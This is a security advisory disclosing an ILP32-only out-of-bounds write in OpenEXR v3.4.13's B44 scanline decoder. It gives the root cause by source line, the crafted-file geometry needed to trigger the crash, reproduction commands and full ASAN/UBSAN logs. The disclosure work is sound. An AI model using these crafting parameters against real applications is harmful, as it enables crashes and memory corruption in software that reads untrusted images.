GHSA-92pq-9qv4-g68q
CVE Information
Summary
OpenEXR v3.4.13 has an ILP32-only out-of-bounds write in the B44 scanline decode path reached through the public C++
Imf::InputFile::readPixels()API. A crafted B44-compressed scanline EXR with a very wide one-channel HALF image makes the B44 logical scratch size exceed 4 GiB. On 32-bit ILP32 builds that size is truncated before allocation, butuncompress_b44_impl()still uses the attacker-controlled channel width to compute row pointers and writes far past the allocated scratch buffer.Confirmed locally: the original unsanitized ILP32 binary segfaults (
rc=139), ASAN reports a write crash in the B44 decompressor atinternal_b44.c:594(rc=134), and UBSAN-instrumented ILP32 aborts on the same write crash path (rc=134). ASAN classifies this as a deadly signal rather than a normal heap-buffer-overflow report because the first overflowing row pointer lands far outside the small truncated allocation.Details
Root cause:
sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:219-222: publicInputFile::readPixels()enters the scanline reader.sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:ScanLineProcess::run_decode()callsexr_decoding_run().sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:579-580: the decode pipeline callsexr_uncompress_chunk().sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:448-450and:543-546:EXR_COMPRESSION_B44dispatches tointernal_exr_undo_b44()while decompressing chunk data.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:660-683:compute_scratch_buffer_size()computes a 64-bit scratch size from the rounded channel width, channel height, and bytes per element.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:697-702: that 64-bit value is passed tointernal_decode_alloc_buffer()fordecode->scratch_buffer_1.sources/openexr-3.4.13/src/lib/OpenEXRCore/coding.c:229-256:internal_decode_alloc_buffer()ultimately allocates through asize_t-sized allocator argument, so values above 4 GiB truncate on ILP32.sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:558-596:uncompress_b44_impl()derivesrow1,row2, androw3from the large channel width and writes withmemcpy(). The PoC crashes at line 594,memcpy(row1, &s[4], n).PoC geometry:
compression = B44_COMPRESSION storage = scanline channel = one HALF channel named Y width = 67,108,865 height = 32 logical chunk bytes = 67,108,865 * 32 * 2 = 4,294,967,360 = 0x100000040 ILP32 truncated allocation size = 0x40 = 64 bytes compressed chunk payload = one 3-byte B44 flat-field block (ff ff ff)Only the first 3 compressed bytes are needed to enter the first B44 block. The first block computes
row1 = row0 + nx, wherenxis 67,108,865 HALF elements, and then copies 8 bytes to that far-out pointer before the short input is rejected. The included standalone PoC EXR is 347 bytes.PoC
Package contents
poc.zipcontains only the files needed to rebuild, run, and verify the standalone crafted EXR PoC.reproduce.sh repro/build_repro.sh repro/run_repro.sh poc_artifacts/poc_b44_inputfile_crash.exr poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp logs/original_poc.stdout logs/original_poc.stderr logs/original_poc.rc logs/asan_poc.stdout logs/asan_poc.stderr logs/asan_poc.rc logs/ubsan_poc.stdout logs/ubsan_poc.stderr logs/ubsan_poc.rcReproduction
Run from the OpenEXR v3.4.13 repository root after the existing ILP32 original/ASAN/UBSAN builds are present:
mkdir -p artifacts/tmp/report17-poc unzip -o 'report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc.zip' -d artifacts/tmp/report17-poc artifacts/tmp/report17-poc/repro/build_repro.sh original artifacts/tmp/report17-poc/repro/build_repro.sh asan artifacts/tmp/report17-poc/repro/build_repro.sh ubsan artifacts/tmp/report17-poc/repro/run_repro.sh original artifacts/tmp/report17-poc/repro/run_repro.sh asan artifacts/tmp/report17-poc/repro/run_repro.sh ubsanA top-level helper runs the same sequence:
./reproduce.shExpected results:
original -> rc=139, SIGSEGV while reading the crafted B44 EXR ASAN -> rc=134, write crash at internal_b44.c:594 in uncompress_b44_impl() UBSAN -> rc=134, write crash at internal_b44.c:594 in uncompress_b44_impl()Full original-build output
logs/original_poc.rc:139
logs/original_poc.stderr:reading /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/poc_b44_inputfile_crash.exr via InputFile::readPixels(0,31) timeout: the monitored command dumped core
logs/original_poc.stdoutis empty:Full ASAN output
logs/asan_poc.rc:134
logs/asan_poc.stderr:reading /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/poc_b44_inputfile_crash.exr via InputFile::readPixels(0,31) AddressSanitizer:DEADLYSIGNAL ================================================================= ==3495545==ERROR: AddressSanitizer: SEGV on unknown address 0xfbc03ec2 (pc 0xf7a576d6 bp 0xffe0ab48 sp 0xffe0a708 T0) ==3495545==The signal is caused by a WRITE memory access. #0 0xf7a576d6 (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #1 0x5674ce83 in __asan_memcpy (/home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/repro/bin/probe_ilp32_b44_inputfile_read_poc_asan+0x134e83) (BuildId: 45f26c9afcc9f19bf99852c7151f6d681215af99) #2 0x569a85ef in uncompress_b44_impl /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:594:21 #3 0x569a82b4 in internal_exr_undo_b44 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:707:12 #4 0x56964b66 in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:449:18 #5 0x5696463f in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14 #6 0x56983707 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14 #7 0x567b89ef in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #8 0x567b5b98 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #9 0x567b54a9 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12 #10 0x5679ba57 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #11 0x5679b986 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12 #12 0x56794053 in read_file(char const*) /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:18:8 #13 0x56794053 in main /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:29:16 #14 0xf78f4cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #15 0xf78f4d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #16 0x566b7a16 in _start (/home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/repro/bin/probe_ilp32_b44_inputfile_read_poc_asan+0x9fa16) (BuildId: 45f26c9afcc9f19bf99852c7151f6d681215af99) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) ==3495545==ABORTING timeout: the monitored command dumped core
logs/asan_poc.stdoutis empty:Full UBSAN-instrumented output
logs/ubsan_poc.rc:134
logs/ubsan_poc.stderr:reading /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/poc_b44_inputfile_crash.exr via InputFile::readPixels(0,31) UndefinedBehaviorSanitizer:DEADLYSIGNAL ==3495557==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x602c0592 (pc 0xf7a4a6d6 bp 0xff9a32b8 sp 0xff9a31f8 T3495557) ==3495557==The signal is caused by a WRITE memory access. #0 0xf7a4a6d6 (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #1 0x567b9c2c in uncompress_b44_impl /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:594:21 #2 0x567b9137 in internal_exr_undo_b44 /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_b44.c:707:12 #3 0x56791aee in decompress_data /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:449:18 #4 0x56791921 in exr_uncompress_chunk /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/compression.c:546:14 #5 0x567a1e2a in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:580:14 #6 0x566825c5 in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #7 0x5668092f in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #8 0x566804af in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12 #9 0x566725fe in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #10 0x566724d0 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12 #11 0x5666ec00 in read_file(char const*) /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:18:8 #12 0x5666ec00 in main /home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/poc_artifacts/probe_ilp32_b44_inputfile_read_poc.cpp:29:16 #13 0xf78e7cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #14 0xf78e7d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #15 0x5663ed26 in _start (/home/br0nzu/openexr/v3.4.13/report/17. OpenEXR v3.4.13 ILP32 B44 InputFile decode scratch buffer overflow/repro/bin/probe_ilp32_b44_inputfile_read_poc_ubsan+0xc8d26) (BuildId: 0a685c35eb26afd4b5d0744fcab3c94b86299839) UndefinedBehaviorSanitizer can not provide additional info. SUMMARY: UndefinedBehaviorSanitizer: SEGV (/lib/i386-linux-gnu/libc.so.6+0x1876d6) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) ==3495557==ABORTING timeout: the monitored command dumped core
logs/ubsan_poc.stdoutis empty:Impact
Applications that build OpenEXR v3.4.13 for 32-bit ILP32 targets and read attacker-supplied B44-compressed scanline EXR files can hit memory corruption during decompression. The demonstrated impact is process crash in the original unsanitized binary and sanitizer-confirmed write crashes in the B44 decompressor. Arbitrary code execution was not proven. LP64 builds are not demonstrated because the vulnerable scratch-size conversion does not truncate to a tiny allocation on 64-bit targets.